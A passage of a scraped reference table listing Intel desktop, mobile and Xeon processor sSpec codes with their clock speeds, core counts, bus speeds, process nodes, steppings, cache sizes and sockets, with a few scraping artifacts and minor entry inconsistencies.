| SLAWR | 2.66 GHz | Q9450 | 4 | 1333 MHz | 45 nm | C1 | 12 MB | LGA775 | 05A |
| SLG9U | 2.66 GHz | Q9400S | 4 | 1333 MHz | 45 nm | R0 | 6 MB | LGA775 | 6 |
| SLB6B | 2.66 GHz | Q9400 | 4 | 1333 MHz | 45 nm | R0 | 6 MB | LGA775 | 05A |
| SLAWE | 2.50 GHz | Q9300 | 4 | 1333 MHz | 45 nm | M1 | 6 MB | LGA775 | 05A |
| SL9UM | 2.40 GHz | Q6600 | 4 | 1066 MHz | 65 nm | B3 | 8 MB | LGA775 | 05B |
| SLACR | 2.40 GHz | Q6600 | 4 | 1066 MHz | 65 nm | G0 | 8 MB | LGA775 | 05A |
| Intel® Pentium® D Processor 奔腾D双核 | |||||||||
| SL9K7 | 3.60 GHz | 960 | 2 | 800 MHz | 65 nm | D0 | 4 MB (2×2) | LGA775 | 05A |
| SL9AP | 3.60 GHz | 960 | 2 | 800 MHz | 65 nm | C1 | 4 MB (2×2) | LGA775 | 05B |
| SL95V | 3.40 GHz | 950 | 2 | 800 MHz | 65 nm | C1 | 4 MB (2×2) | LGA775 | 05A |
| SL94P | 3.40 GHz | 950 | 2 | 800 MHz | 65 nm | B1 | 4 MB (2×2) | LGA775 | 05B |
| SL9K8 | 3.40 GHz | 950 | 2 | 800 MHz | 65 nm | D0 | 4 MB | LGA775 | 05A |
| SL94Q | 3.20 GHz | 940 | 2 | 800 MHz | 65 nm | B1 | 4 MB (2×2) | LGA775 | 05B |
| SL95W | 3.20 GHz | 940 | 2 | 800 MHz | 65 nm | C1 | 4 MB (2×2) | LGA775 | 05A |
| SL94R | 3 GHz | 930 | 2 | 800 MHz | 65 nm | B1 | 4 MB (2×2) | LGA775 | 05A |
| SL95X | 3 GHz | 930 | 2 | 800 MHz | 65 nm | C1 | 4 MB (2×2) | LGA775 | 05A |
| SL8WR | 3 GHz | 930 | 2 | 800 MHz | 65 nm | B1 | 4 MB | LGA775 | 05A |
| SL94S | 2.80 GHz | 920 | 2 | 800 MHz | 65 nm | B1 | 4 MB (2×2) | LGA775 | 05A |
| SL8WS | 2.80 GHz | 920 | 2 | 800 MHz | 65 nm | B1 | 4 MB | LGA775 | 05A |
| Intel® Pentium® Processor Extreme Edition | |||||||||
| SL9AN | 3.73 GHz | 965 | 2 | 1066 MHz | 65 nm | C1 | 4 MB | LGA775 | 05B |
| SL8WM | 3.46 GHz | 955 | 2 | 1066 MHz | 65 nm | B1 | 4 MB | LGA775 | 05B |
| SL94N | 3.46 GHz | 955 | 2 | 1066 MHz | 65 nm | B1 | 4 MB (2×2) | LGA775 | 05B |
| Intel® Pentium® 4 Processors | |||||||||
| SL8Q9 | 3.80 GHz | 672 | 1 | 800 MHz | 90 nm | R0 | 2 MB | LGA775 | 04B |
| SL8QB | 3.60 GHz | 662 | 1 | 800 MHz | 90 nm | R0 | 2 MB | LGA775 | 04B |
| SL8UP | 3.60 GHz | 662 | 1 | 800 MHz | 90 nm | ||||
[separator]
SLGES 2.93 GHz T9800 2 1066 MHz 45 nm E0 6 MB Micro-FCPGA N/A
SLGE6 2.66 GHz P9600 2 1066 MHz 45 nm E0 6 MB Micro-FCPGA N/A
SLGE4 2.66 GHz T9550 2 1066 MHz 45 nm E0 6 MB Micro-FCPGA N/A
SLAQH 2.60 GHz T9500 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAF6 2.60 GHz T7800 2 800 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLA75 2.60 GHz T7800 2 800 MHz 65 nm G0 4 MB Micro-FCBGA N/A
SLAPW 2.60 GHz T9500 2 800 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLAYX 2.60 GHz T9500 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAZA 2.60 GHz T9500 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLB4E 2.53 GHz P9500 2 1066 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SL3BX 2.53 GHz T9400 2 1066 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLB46 2.53 GHz T9400 2 1066 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLGER 2.53 GHz SP9600 2 1066 MHz 45 nm E0 6 MB Micro-FCBGA N/A
SLGFE 2.53 GHz P8700 2 1066 MHz 45 nm R0 3 MB Micro-FCPGA N/A
SLAQG 2.50 GHz T9300 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAYY 2.50 GHz T9300 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAZB 2.50 GHz T9300 2 800 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAPV 2.50 GHz T9300 2 800 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLA43 2.40 GHz T7700 2 800 MHz 65 nm E1 4 MB Micro-FCPGA N/A
SLADL 2.40 GHz T7700 2 800 MHz 65 nm G0 4 MB Micro-FCBGA N/A
SLAPR 2.40 GHz T8300 2 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLA3M 2.40 GHz T7700 2 800 MHz 65 nm E1 4 MB Micro-FCBGA N/A
SLAPA 2.40 GHz T8300 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAPU 2.40 GHz T8300 2 800 MHz 45 nm C0 3 MB Micro-FCBGA N/A
SLAYQ 2.40 GHz T8300 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAF7 2.40 GHz T7700 2 800 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLB64 2.40 GHz SP9400 2 1066 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLB3S 2.40 GHz P8600 2 1066 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLB4N 2.40 GHz P8600 2 1066 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLAZC 2.40 GHz T8300 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SL9SJ 2.33 GHz T7600 2 667 MHz 65 nm B2 4 MB Micro-FCBGA N/A
SL9SD 2.33 GHz T7600 2 667 MHz 65 nm B2 4 MB Micro-FCPGA N/A
SLB4M 2.26 GHz P8400 2 1066 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLB63 2.26 GHz SP9300 2 1066 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLB3R 2.26 GHz P8400 2 1066 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLA3N 2.20 GHz T7500 2 800 MHz 65 nm E1 4 MB Micro-FCBGA N/A
SLAF8 2.20 GHz T7500 2 800 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLA44 2.20 GHz T7500 2 800 MHz 65 nm E1 4 MB Micro-FCPGA N/A
SLADM 2.20 GHz T7500 2 800 MHz 65 nm G0 4 MB Micro-FCBGA N/A
SL9SK 2.16 GHz T7400 2 667 MHz 65 nm B2 4 MB Micro-FCBGA N/A
SL9SE 2.16 GHz T7400 2 667 MHz 65 nm B2 4 MB Micro-FCPGA N/A
SLGEQ 2.13 GHz SL9600 2 1066 MHz 45 nm E0 6 MB Micro-FCBGA N/A
SLAZD 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAUU 2.10 GHz T8100 2 800 MHz 45 nm C0 3 MB Micro-FCPGA N/A
SLAYZ 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAPT 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLAYP 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAPS 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLAVJ 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAP9 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLAXG 2.10 GHz T8100 2 800 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLA3T 2 GHz T7250 2 800 MHz 65 nm M0 2 MB Micro-FCBGA N/A
SLA3P 2 GHz T7300 2 800 MHz 65 nm E1 4 MB Micro-FCBGA N/A
SL9SL 2 GHz T7200 2 667 MHz 65 nm B2 4 MB Micro-FCBGA N/A
SL9SF 2 GHz T7200 2 667 MHz 65 nm B2 4 MB Micro-FCPGA N/A
SLA45 2 GHz T7300 2 800 MHz 65 nm E1 4 MB Micro-FCPGA N/A
SLA49 2 GHz T7250 2 800 MHz 65 nm M0 2 MB Micro-FCPGA N/A
SLG8X 2 GHz P7370 2 1066 MHz 45 nm M0 3 MB Micro-FCPGA N/A
SLB66 1.86 GHz SL9400 2 1066 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SL9SP 1.83 GHz T5600 2 667 MHz 65 nm B2 2 MB Micro-FCBGA N/A
SL9U7 1.83 GHz T5600 2 667 MHz 65 nm L2 2 MB Micro-FCBGA N/A
SL9SG 1.83 GHz T5600 2 667 MHz 65 nm B2 2 MB Micro-FCPGA N/A
SL9U3 1.83 GHz T5600 2 667 MHz 65 nm L2 2 MB Micro-FCPGA N/A
SLA3U 1.80 GHz T7100 2 800 MHz 65 nm M0 2 MB Micro-FCBGA N/A
SLA4A 1.80 GHz T7100 2 800 MHz 65 nm M0 2 MB Micro-FCPGA N/A
SL9U8 1.66 GHz T5500 2 667 MHz 65 nm L2 2 MB Micro-FCBGA N/A
SLGFN 1.60 GHz SU9600 2 800 MHz 45 nm R0 3 MB Micro-FCBGA N/A
SLB65 1.60 GHz SL9300 2 1066 MHz 45 nm C0 6 MB Micro-FCBGA N/A
SLA3R 1.60 GHz L7500 2 800 MHz 65 nm L2 4 MB Micro-FCBGA N/A
SL9SM 1.50 GHz L7400 2 667 MHz 65 nm B2 4 MB Micro-FCBGA N/A
SLGFX 1.50 GHz L7400 2 667 MHz 65 nm G0 4 MB Micro-FCBGA N/A
SLGHN 1.40 GHz SU9400 2 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLA3S 1.40 GHz L7300 2 800 MHz 65 nm E1 4 MB Micro-FCBGA N/A
SLV3W 1.33 GHz U7600 2 533 MHz 65 nm M0 2 MB Micro-FCBGA N/A
SL9SN 1.33 GHz L7200 2 667 MHz 65 nm B2 4 MB Micro-FCBGA N/A
SLB5Q 1.20 GHz SU9300 2 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLV3X 1.20 GHz U7500 2 533 MHz 65 nm M0 2 MB Micro-FCBGA N/A
SLA2U 1.20 GHz U7600 2 533 MHz 65 nm L2 2 MB Micro-FCBGA N/A
SLA2V 1.06 GHz U7500 2 533 MHz 65 nm L2 2 MB Micro-FCBGA N/A
Intel® Core™2 Quad Mobile Processor 四核
SLGEJ 2 GHz Q9000 4 1066 MHz 45 nm E0 6 MB Micro-FCPGA N/A
Intel® Core™2 Extreme Mobile Processor
SLB48 3.06 GHz X9100 2 1066 MHz 45 nm C0 6 MB Micro-FCPGA N/A
SLAQJ 2.80 GHz X9000 2 800 MHz 45 nm M0 6 MB Micro-FCPGA N/A
SLAF4 2.80 GHz X7900 2 800 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLA33 2.80 GHz X7900 2 800 MHz 65 nm E1 4 MB Micro-FCPGA N/A
SLAZ3 2.80 GHz X9000 2 800 MHz 45 nm M0 6 MB Micro-FCPGA N/A
SLA6Z 2.60 GHz X7800 2 800 MHz 65 nm E1 4 MB Micro-FCPGA N/A
SLB5J 2.53 GHz QX9300 4 1066 MHz 45 nm E0 12 MB Micro-FCPGA N/A
Intel® Core™ Duo Processor
SL9JP 2.33 GHz T2700 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9K4 2.33 GHz T2700 2 667 MHz 65 nm D0 2 MB Micro-FCBGA N/A
SL8VN 2.16 GHz T2600 2 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL9JN 2.16 GHz T2600 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL8VS 2.16 GHz T2600 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL9K3 2.16 GHz T2600 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9EH 2 GHz T2500 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9K2 2 GHz T2500 2 667 MHz 65 nm D0 2 MB Micro-FCBGA N/A
SL8VT 2 GHz T2500 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL8VP 2 GHz T2500 2 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL8VQ 1.83 GHz T2400 2 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL8VU 1.83 GHz T2400 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL9JU 1.83 GHz L2500 2 667 MHz 65 nm D0 2 MB Micro-FCBGA N/A
SL9JM 1.83 GHz T2400 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9JZ 1.83 GHz T2400 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9JT 1.66 GHz L2400 2 667 MHz 65 nm D0 2 MB Micro-FCBGA N/A
SL8VV 1.66 GHz T2300 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL9JL 1.66 GHz T2300 2 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL8VR 1.66 GHz T2300 2 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL8VW 1.66 GHz L2400 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL9JS 1.50 GHz L2300 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL8VX 1.50 GHz L2300 2 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL99V 1.20 GHz U2500 2 533 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL99W 1.06 GHz U2400 2 533 MHz 65 nm C0 2 MB Micro-FCBGA N/A
Intel® Core™2 Solo Processor
SLGFM 1.40 GHz SU3500 2 800 MHz 45 nm R0 3 MB Micro-FCBGA N/A
SLAGL 1.20 GHz U2200 1 533 MHz 65 nm A1 1 MB Micro-FCBGA N/A
SLGAR 1.20 GHz SU3300 1 800 MHz 45 nm M0 3 MB Micro-FCBGA N/A
SLAGM 1.06 GHz U2100 1 533 MHz 65 nm A1 1 MB Micro-FCBGA N/A
Intel® Core™ Solo processor
SL92X 1.83 GHz T1400 1 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL9L5 1.83 GHz T1400 1 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL92V 1.83 GHz T1400 1 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL8W3 1.66 GHz T1300 1 667 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL8VY 1.66 GHz T1300 1 667 MHz 65 nm C0 2 MB Micro-FCPGA N/A
SL9L4 1.66 GHz T1300 1 667 MHz 65 nm D0 2 MB Micro-FCPGA N/A
SL9LC 1.33 GHz U1500 1 533 MHz 65 nm D0 2 MB Micro-FCBGA N/A
SL8W6 1.20 GHz U1400 1 533 MHz 65 nm C0 2 MB Micro-FCBGA N/A
SL8W7 1.06 GHz U1300 1 533 MHz 65 nm C0 2 MB Micro-FCBGA N/A
Mobile Intel® Celeron® Processors 赛扬
SLGLQ 2.20 GHz 900 2 800 MHz 45 nm R0 1 MB Micro-FCPGA N/A
ntel® Atom™ Processor 凌动
SLB2M 1.86 GHz Z540 1 533 MHz 45 nm C0 512 KB Micro-FCBGA N/A
SLB6P 1.60 GHz Z530 1 533 MHz 45 nm C0 512 KB Micro-FCBGA N/A
SLB2H 1.33 GHz Z520 1 533 MHz 45 nm C0 512 KB Micro-FCBGA N/A
Intel® Xeon® Processor
Top of Form
SL968 3.73 GHz 5080 2 1066 MHz 65 nm C1 4 MB LGA771 N/A
SLBAQ 3.50 GHz X5270 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SL969 3.46 GHz 5070 2 1066 MHz 65 nm C1 4 MB LGA771 N/A
SLBBD 3.40 GHz X5492 4 1600 MHz 45 nm E0 12 MB 771 pin N/A
SL9HA 3.40 GHz 7140M 2 800 MHz 65 nm B0 16 MB Micro-FCPGA N/A
SLBAR 3.40 GHz X5272 2 1600 MHz 45 nm E0 6 MB LGA771 N/A
SLANH 3.40 GHz X5272 2 1600 MHz 45 nm C0 6 MB LGA771 N/A
SLBAS 3.33 GHz X5260 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SL9HD 3.33 GHz 7140N 2 667 MHz 65 nm B0 16 MB Micro-FCPGA N/A
SLBBF 3.33 GHz X5470 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLANJ 3.33 GHz X5260 2 1333 MHz 45 nm C0 6 MB LGA771 N/A
SLANZ 3.20 GHz X5482 4 1600 MHz 45 nm C0 12 MB LGA771 N/A
SLBBG 3.20 GHz X5482 4 1600 MHz 45 nm E0 12 MB 771 pin N/A
SLBF2 3.20 GHz W5580 4 6.4 GT/s 45 nm D0 8 MB LGA1366 N/A
SL96A 3.20 GHz 5060 2 1066 MHz 65 nm C1 4 MB LGA771 N/A
SL9HB 3.20 GHz 7130M 2 800 MHz 65 nm B0 8 MB Micro-FCPGA N/A
SL96B 3.20 GHz 5063 2 1066 MHz 65 nm C1 4 MB LGA771 N/A
SLBBA 3.16 GHz X5460 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLB9D 3.16 GHz E3120 2 1333 MHz 45 nm E0 6 MB LGA775 N/A
SL9HE 3.16 GHz 7130N 2 667 MHz 65 nm B0 8 MB Micro-FCPGA N/A
SLANP 3.16 GHz X5460 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLAA2 3 GHz 3085 2 1333 MHz 65 nm G0 4 MB FC-LGA6 N/A
SLAED 3 GHz X5365 4 1333 MHz 65 nm G0 8 MB LGA771 N/A
SLASB 3 GHz X5450 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SL9HC 3 GHz 7120M 2 800 MHz 65 nm B0 4 MB Micro-FCPGA N/A
SLASA 3 GHz X5472 4 1600 MHz 45 nm C0 12 MB LGA771 N/A
SLBBB 3 GHz X5472 4 1600 MHz 45 nm E0 12 MB 771 pin N/A
SLB9C 3 GHz E3110 2 1333 MHz 45 nm E0 6 MB LGA775 N/A
SL96C 3 GHz 5050 2 667 MHz 65 nm C1 4 MB LGA771 N/A
SL8UC 3 GHz 7040 2 667 MHz 90 nm A0 4 MB Micro-FCPGA N/A
SLABS 3 GHz 5160 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLBAY 3 GHz L5240 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SLBAW 3 GHz E5240 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SLB8Z 3 GHz X3370 4 1333 MHz 45 nm E0 12 MB LGA775 N/A
SLANQ 3 GHz E5450 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLANR 3 GHz E5472 4 1600 MHz 45 nm C0 12 MB LGA771 N/A
SLGP9 3 GHz L3110 2 1333 MHz 45 nm E0 6 MB LGA775 N/A
SL8UD 3 GHz 7041 2 800 MHz 90 nm A0 4 MB Micro-FCPGA N/A
SL9HF 3 GHz 7120N 2 667 MHz 65 nm B0 4 MB Micro-FCPGA N/A
SL9RT 3 GHz 5160 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLBBM 3 GHz E5450 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLBBH 3 GHz E5472 4 1600 MHz 45 nm E0 12 MB 771 pin N/A
SLAS3 3 GHz L5240 2 1333 MHz 45 nm C0 6 MB LGA771 N/A
SLBBE 3 GHz X5450 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLAND 3 GHz E5240 2 1333 MHz 45 nm C0 6 MB LGA771 N/A
SLAG9 3 GHz 5160 2 1333 MHz 65 nm G0 4 MB LGA771 N/A
SLAPM 3 GHz E3110 2 1333 MHz 45 nm C0 6 MB LGA775 N/A
SLA67 2.93 GHz X7350 4 1066 MHz 65 nm G0 8 MB Micro-FCPGA N/A
SLA6C 2.93 GHz E7220 2 1066 MHz 65 nm G0 8 MB Micro-FCPGA N/A
SLBF3 2.93 GHz X5570 4 6.4 GT/s 45 nm D0 8 MB LGA1366 N/A
SLAWZ 2.83 GHz X3360 4 1333 MHz 45 nm C1 12 MB LGA775 N/A
SLGPF 2.83 GHz L3360 4 1333 MHz 45 nm E0 12 MB LGA775 N/A
SLANS 2.83 GHz E5440 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLBBJ 2.83 GHz E5440 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLB8X 2.83 GHz X3360 4 1333 MHz 45 nm E0 12 MB LGA775 N/A
SL96D 2.83 GHz 5040 2 667 MHz 65 nm C1 4 MB LGA771 N/A
SLBF4 2.80 GHz X5560 4 6.4 GT/s 45 nm D0 8 MB LGA1366 N/A
SLBBN 2.80 GHz E5462 4 1600 MHz 45 nm E0 12 MB 771 pin N/A
SLANT 2.80 GHz E5462 4 1600 MHz 45 nm C0 12 MB LGA771 N/A
SL8UB 2.80 GHz 7030 2 800 MHz 90 nm A0 2 MB Micro-FCPGA N/A
SL9YM 2.66 GHz X5355 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SL8UA 2.66 GHz 7020 2 667 MHz 90 nm A0 2 MB Micro-FCPGA N/A
SL9U2 2.66 GHz 3070 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SL9RU 2.66 GHz 5150 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLANM 2.66 GHz L5238 4 1333 MHz 45 nm C0 6 MB LGA771 N/A
SLAEG 2.66 GHz X5355 4 1333 MHz 65 nm G0 8 MB LGA771 N/A
SL96E 2.66 GHz 5030 2 667 MHz 65 nm C1 4 MB LGA771 N/A
SLAA3 2.66 GHz 3075 2 1333 MHz 65 nm G0 4 MB FC-LGA6 N/A
SLACS 2.66 GHz X3230 4 1066 MHz 65 nm G0 8 MB LGA775 N/A
SLACC 2.66 GHz 3070 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SLAGA 2.66 GHz 5150 2 1333 MHz 65 nm G0 4 MB LGA771 N/A
SL9ZC 2.66 GHz 3070 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SLAC4 2.66 GHz X5355 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SLABM 2.66 GHz 5150 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLB8Y 2.66 GHz X3350 4 1333 MHz 45 nm E0 12 MB LGA775 N/A
SLB6C 2.66 GHz X3330 4 1333 MHz 45 nm R0 6 MB LGA775 N/A
SLBF5 2.66 GHz X5550 4 6.4 GT/s 45 nm D0 8 MB LGA1366 N/A
SLAX2 2.66 GHz X3350 4 1333 MHz 45 nm C1 12 MB LGA775 N/A
SLBBK 2.66 GHz E5430 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLBBQ 2.66 GHz L5430 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLBAZ 2.66 GHz L5238 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SLG9P 2.66 GHz X7460 6 1066 MHz 45 nm A1 16 MB FC-PGA6 N/A
SLANU 2.66 GHz E5430 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SL9Q9 2.60 GHz 7110M 2 800 MHz 65 nm B0 4 MB Micro-FCPGA N/A
SLBF6 2.53 GHz E5540 4 5.86 GT/s 45 nm D0 8 MB LGA1366 N/A
SL96F 2.50 GHz 5020 2 667 MHz 65 nm C1 4 MB LGA771 N/A
SLBBL 2.5 GHz E5420 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLB69 2.5 GHz X3320 4 1333 MHz 45 nm R0 6 MB LGA775 N/A
SLANV 2.50 GHz E5420 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLAWF 2.50 GHz X3320 4 1333 MHz 45 nm M1 6 MB LGA775 N/A
SLARP 2.50 GHz L5420 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SL9QA 2.50 GHz 7110N 2 667 MHz 65 nm B0 4 MB Micro-FCPGA N/A
SLBBR 2.5 GHz L5420 N/A 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLA68 2.40 GHz E7340 4 1066 MHz 65 nm G0 8 MB Micro-FCPGA N/A
SLACD 2.40 GHz 3060 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SLA77 2.40 GHz E7330 4 1066 MHz 65 nm G0 6 MB Micro-FCPGA N/A
SLACT 2.40 GHz X3220 4 1066 MHz 65 nm G0 8 MB LGA775 N/A
SLA6D 2.40 GHz E7210 2 1066 MHz 65 nm G0 8 MB Micro-FCPGA N/A
SLG9K 2.40 GHz E7450 6 1066 MHz 45 nm A1 12 MB FC-PGA6 N/A
SLBF7 2.40 GHz E5530 4 5.86 GT/s 45 nm D0 8 MB LGA1366 N/A
SLG9J 2.40 GHz E7440 4 1066 MHz 45 nm A1 16 MB FC-PGA6 N/A
SL9TZ 2.40 GHz 3060 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SL9ZH 2.40 GHz 3060 2 1066 MHz 65 nm B2 4 MB LGA775 N/A
SL9UP 2.40 GHz X3220 4 1066 MHz 65 nm B3 8 MB LGA775 N/A
SLABN 2.33 GHz 5140 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLAA9 2.33 GHz 3065 2 1333 MHz 65 nm G0 4 MB FC-LGA6 N/A
SLABH 2.33 GHz 5148 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLBBS 2.33 GHz L5410 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLAG4 2.33 GHz 5148 2 1333 MHz 65 nm G0 4 MB LGA771 N/A
SL9RW 2.33 GHz 5140 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLBBC 2.33 GHz E5410 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SL9YL 2.33 GHz E5345 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SLBAT 2.33 GHz E5220 2 1333 MHz 45 nm E0 6 MB LGA771 N/A
SLAC5 2.33 GHz E5345 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SLAGB 2.33 GHz 5140 2 1333 MHz 65 nm G0 4 MB LGA771 N/A
SLAP4 2.33 GHz L5410 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLANF 2.33 GHz E5220 2 1333 MHz 45 nm C0 6 MB LGA775 N/A
SLAEJ 2.33 GHz E5345 4 1333 MHz 65 nm G0 8 MB LGA771 N/A
SLANW 2.33 GHz E5410 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLBFD 2.26 GHz E5520 4 5.86 GT/s 45 nm D0 8 MB LGA1366 N/A
SLBFA 2.26 GHz L5520 4 5.86 GT/s 45 nm D0 8 MB LGA1366 N/A
SL9VS 2.13 GHz 3050 2 1066 MHz 65 nm L2 2 MB LGA775 N/A
SL9UQ 2.13 GHz X3210 4 1066 MHz 65 nm B3 8 MB LGA775 N/A
SL9RN 2.13 GHz 5138 2 1066 MHz 65 nm B2 4 MB LGA771 N/A
SLAG3 2.13 GHz 5138 2 1066 MHz 65 nm G0 4 MB LGA771 N/A
SL9TY 2.13 GHz 3050 2 1066 MHz 65 nm B2 2 MB LGA775 N/A
SLAP5 2.13 GHz L5408 4 1066 MHz 45 nm C0 12 MB LGA771 N/A
SLG9H 2.13 GHz E7430 4 1066 MHz 45 nm A1 12 MB FC-PGA6 N/A
SLG9L 2.13 GHz L7445 4 1066 MHz 45 nm A1 12 MB FC-PGA6 N/A
SLG9M 2.13 GHz L7455 6 1066 MHz 45 nm A1 12 MB FC-PGA6 N/A
SLBF8 2.13 GHz E5506 4 4.8 GT/s 45 nm D0 4 MB LGA1366 N/A
SLBFH 2.13 GHz L5506 4 4.8 GT/s 45 nm D0 8 MB LGA1366 N/A
SLG9G 2.13 GHz E7420 4 1066 MHz 45 nm A1 8 MB FC-PGA6 N/A
SLA69 2.13 GHz E7320 4 1066 MHz 65 nm G0 4 MB Micro-FCPGA N/A
SLABZ 2.13 GHz 3050 2 1066 MHz 65 nm L2 2 MB LGA775 N/A
SLACU 2.13 GHz X3210 4 1066 MHz 65 nm G0 8 MB LGA775 N/A
SLBBP 2 GHz E5405 4 1333 MHz 45 nm E0 12 MB 771 pin N/A
SLAC7 2 GHz E5335 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SLAEN 2 GHz L5335 4 1333 MHz 65 nm G0 8 MB LGA771 N/A
SLAGC 2 GHz 5130 2 1333 MHz 65 nm G0 4 MB LGA771 N/A
SLBF9 2 GHz E5504 4 4.8 GT/s 45 nm D0 4 MB LGA1366 N/A
SL9RX 2 GHz 5130 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLAEK 2 GHz E5335 4 1333 MHz 65 nm G0 8 MB LGA771 N/A
SL9YK 2 GHz E5335 4 1333 MHz 65 nm B3 8 MB LGA771 N/A
SLAP2 2 GHz E5405 4 1333 MHz 45 nm C0 12 MB LGA771 N/A
SLABP 2 GHz 5130 2 1333 MHz 65 nm B2 4 MB LGA771 N/A
SLAGD 1.86 GHz 5120 2 1066 MHz 65 nm G0 4 MB LGA771 N/A
SLAC9 1.86 GHz L5320 4 1066 MHz 65 nm B3 8 MB LGA771 N/A
SLBEZ 1.86 GHz E5502 2 4.8 GT/s 45 nm D0 4 MB LGA1366 N/A
SLANG 1.86 GHz E5205 2 1066 MHz 45 nm C0 6 MB LGA771 N/A
SLBB3 1.86 GHz L5215 2 1066 MHz 45 nm E0 6 MB LGA771 N/A
SLAC2 1.86 GHz 3040 2 1066 MHz 65 nm L2 2 MB LGA775 N/A
